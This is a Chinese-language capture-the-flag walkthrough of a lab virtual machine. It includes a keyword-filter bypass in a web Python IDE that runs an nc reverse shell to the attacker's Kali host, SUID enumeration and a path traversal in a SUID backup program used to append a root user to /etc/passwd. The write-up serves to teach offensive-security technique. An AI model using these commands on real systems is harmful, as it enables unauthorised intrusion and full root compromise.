靶机下载地址
kali ip:192.168.174.128
靶机ip:192.168.174.146
arp-scan -l发现靶机ip是192.168.174.146
进行靶机的端口扫描,这里使用的是nmap的gui
可以发现开放了21和80端口,80端口扫描到了robots里面的三个目录
再使用dirsearch进行目录扫描
在robots目录中的目录看到了账号和密码
Username: steve
Password: bvbkukHAeVxtjjVH
再sign in进行登录
可以看到底下有链接,点击
这里进入了python ide的网页版界面
看到这里有保护机制,看一下代码
def check_if_safe(code: str) -> bool:
if 'import' in code: # import is too dangerous
return False
elif 'os' in code: # os is too dangerous
return False
elif 'open' in code: # opening files is also too dangerous
return False
else:
return True
可以看到不能出现import,os,open
这里尝试进行绕过
str1="impor"+"t o"+"s"
str2="o"+"s.system('nc 192.168.174.128 4444 -e /bin/bash')"
exec(str1)
exec(str2)
os.system执行的是nc进行反弹shell,主动连接我们的kali的4444端口,同时我们的kali开启nc进行监听4444端口
nc -nlvp 4444
成功接收到shell,修改交互模式
python -c 'import pty;pty.spawn("/bin/bash")'
查看具有suid权限的文件
find / -perm -u=s -type f 2>/dev/null
这里看到typing命令,执行。
输入一样的代码,得到密码
54ezhCGaJV
成功切换到py用户
使用得到的密码也可以进行py用户的ssh登录
再次查看具有suid权限的命令
得到脚本
py@archlinux secret_stuff]$ cat backup.cc
#include <iostream>
#include <string>
#include <fstream>
int main(){
std::cout<<"Enter a line of text to back up: ";
std::string line;
std::getline(std::cin,line);
std::string path;
std::cout<<"Enter a file to append the text to (must be inside the /srv/backups directory): ";
std::getline(std::cin,path);
if(!path.starts_with("/srv/backups/")){
std::cout<<"The file must be inside the /srv/backups directory!\n";
}
else{
std::ofstream backup_file(path,std::ios_base::app);
backup_file<<line<<'\n';
}
return 0;
}
大概的意思就是进行文件的备份,但是目录只能是/srv/backup目录下,这里使用../可以进行切换目录,尝试对/etc/passwd文件进行追加一个具有root权限的用户。
使用openssl进行生成账号密码
修改成passwd的格式,(套用第一行root的格式即可,把x处修改成生成的加盐密码),目录是/srv/backups/../../etc/passwd
这里切换到yyy用户,id查看已经是root权限了
查看root目录